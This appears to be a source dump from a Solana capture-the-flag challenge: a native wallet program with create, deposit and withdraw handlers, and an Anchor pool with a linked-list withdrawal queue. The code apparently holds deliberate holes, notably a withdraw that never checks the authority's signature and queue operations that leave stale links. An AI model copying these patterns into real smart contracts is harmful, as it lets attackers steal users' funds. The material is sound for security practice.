next_account_info(account_info_iter)?; 32 | let authority = next_account_info(account_info_iter)?; 33 | let rent_info = next_account_info(account_info_iter)?; 34 | let (wallet_address, wallet_seed) = 35 | Pubkey::find_program_address(&[&authority.key.to_bytes()], program_id); 36 | let rent = Rent::from_account_info(rent_info)?; 37 | 38 | assert_eq!(*wallet_info.key, wallet_address); 39 | assert!(wallet_info.data_is_empty()); 40 | assert!(authority.is_signer, "authority must sign!"); 41 | 42 | invoke_signed( 43 | &system_instruction::create_account( 44 | &authority.key, 45 | &wallet_address, 46 | rent.minimum_balance(WALLET_LEN as usize), 47 | WALLET_LEN, 48 | &program_id, 49 | ), 50 | &[authority.clone(), wallet_info.clone()], 51 | &[&[&authority.key.to_bytes(), &[wallet_seed]]], 52 | )?; 53 | 54 | let wallet = Wallet { 55 | authority: *authority.key, 56 | }; 57 | 58 | wallet 59 | .serialize(&mut &mut (*wallet_info.data).borrow_mut()[..]) 60 | .unwrap(); 61 | 62 | Ok(()) 63 | } 64 | 65 | fn deposit(program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult { 66 | msg!("deposit {}", amount); 67 | let account_info_iter = &mut accounts.iter(); 68 | let wallet_info = next_account_info(account_info_iter)?; 69 | let source_info = next_account_info(account_info_iter)?; 70 | 71 | assert_eq!(wallet_info.owner, program_id); 72 | 73 | invoke( 74 | &system_instruction::transfer(&source_info.key, &wallet_info.key, amount), 75 | &[wallet_info.clone(), source_info.clone()], 76 | )?; 77 | 78 | Ok(()) 79 | } 80 | 81 | fn withdraw(program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult { 82 | msg!("withdraw {}", amount); 83 | let account_info_iter = &mut accounts.iter(); 84 | let wallet_info = next_account_info(account_info_iter)?; 85 | let authority_info = next_account_info(account_info_iter)?; 86 | let destination_info = next_account_info(account_info_iter)?; 87 | let wallet = Wallet::deserialize(&mut &(*wallet_info.data).borrow_mut()[..])?; 88 | 89 | assert_eq!(wallet_info.owner, program_id); 90 | assert_eq!(wallet.authority, *authority_info.key); 91 | 92 | if amount > **wallet_info.lamports.borrow_mut() { 93 | return Err(ProgramError::InsufficientFunds); 94 | } 95 | 96 | **wallet_info.lamports.borrow_mut() -= amount; 97 | **destination_info.lamports.borrow_mut() += amount; 98 | 99 | wallet 100 | .serialize(&mut &mut (*wallet_info.data).borrow_mut()[..]) 101 | .unwrap(); 102 | 103 | Ok(()) 104 | } 105 | -------------------------------------------------------------------------------- /pool/client/framework/chall/programs/chall/src/pool.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | 3 | #[account] 4 | #[derive(Default)] 5 | pub struct Pool { 6 | pub seed: u64, 7 | pub token_mint: Pubkey, 8 | pub redeem_tokens_mint_bump: u8, 9 | pub token_account_bump: u8, 10 | pub withdrawal_queue_header_bump: u8, 11 | } 12 | 13 | #[account] 14 | #[derive(Default)] 15 | pub struct WithdrawalQueueHeader { 16 | head_node: Option, 17 | tail_node: Option, 18 | // used as part of the seed of new queue nodes 19 | pub nonce: u64, 20 | } 21 | 22 | impl WithdrawalQueueHeader { 23 | /// Pushes a node to the end of the queue 24 | pub fn push(&mut self, node: &mut Account, prev_node: Option<&AccountInfo>) -> Result<()> { 25 | if self.empty() { 26 | assert!(prev_node.is_none()); 27 | self.head_node = Some(node.key()); 28 | node.prev_node = None; 29 | } else { 30 | assert!(prev_node.is_some()); 31 | let mut prev_node_account: Account = Account::try_from(prev_node.unwrap())?; 32 | assert_eq!(self.tail_node, Some(prev_node_account.key())); 33 | prev_node_account.next_node = Some(node.key()); 34 | node.prev_node = Some(prev_node_account.key()); 35 | save_account::(&prev_node_account.to_account_info(), &mut prev_node_account)?; 36 | } 37 | 38 | self.tail_node = Some(node.key()); 39 | self.incr_nonce(); 40 | Ok(()) 41 | } 42 | 43 | /// Pops a node from the front of the queue 44 | pub fn pop(&mut self, node: &mut Account) -> Result<()> { 45 | assert_eq!(self.head_node, Some(node.key())); 46 | self.head_node = node.next_node; 47 | Ok(()) 48 | } 49 | 50 | pub fn empty(&self) -> bool { 51 | self.head_node.is_none() 52 | } 53 | 54 | /// Removes a node from the queue 55 | pub fn remove(&mut self, node: &Account, prev_node: Option<&AccountInfo>) -> Result<()> { 56 | assert!(!self.empty()); 57 | 58 | match self.head_node { 59 | Some(head_node_key) => { 60 | if head_node_key == node.key() { 61 | self.head_node = node.next_node; 62 | } 63 | } 64 | None => panic!() 65 | } 66 | 67 | match self.tail_node { 68 | Some(tail_node_key) => { 69 | if tail_node_key == node.key() { 70 | self.tail_node = node.prev_node; 71 | } 72 | } 73 | None => panic!() 74 | } 75 | 76 | if node.prev_node.is_some() { 77 | let prev_node_account_info = prev_node.unwrap(); 78 | let mut prev_node_account: Account = Account::try_from(prev_node_account_info)?; 79 | prev_node_account.next_node = node.next_node; 80 | save_account(&prev_node_account.to_account_info(), &mut prev_node_account)?; 81 | } 82 | 83 | self.incr_nonce(); 84 | Ok(()) 85 | } 86 | 87 | fn incr_nonce(&mut self) { 88 | self.nonce = self.nonce.checked_add(1).unwrap(); 89 | } 90 | } 91 | 92 | #[account] 93 | #[derive(Default)] 94 | pub struct WithdrawalQueueNode { 95 | pub user: Pubkey, 96 | pub amount: u64, 97 | prev_node: Option, 98 | next_node: Option, 99 | pub nonce: u64, 100 | } 101 | 102 | pub fn save_account( 103 | account_info: &AccountInfo, 104 | account: &mut Account<'_, T>, 105 | ) -> Result<()> { 106 | let mut data = account_info.try_borrow_mut_data()?; 107 | let dst: &mut [u8] = &mut data; 108 | let mut cursor = std::io::Cursor::new(dst); 109 | account.try_serialize(&mut cursor)?; 110 | Ok(()) 111 | } 112 | --------------------------------------------------------------------------------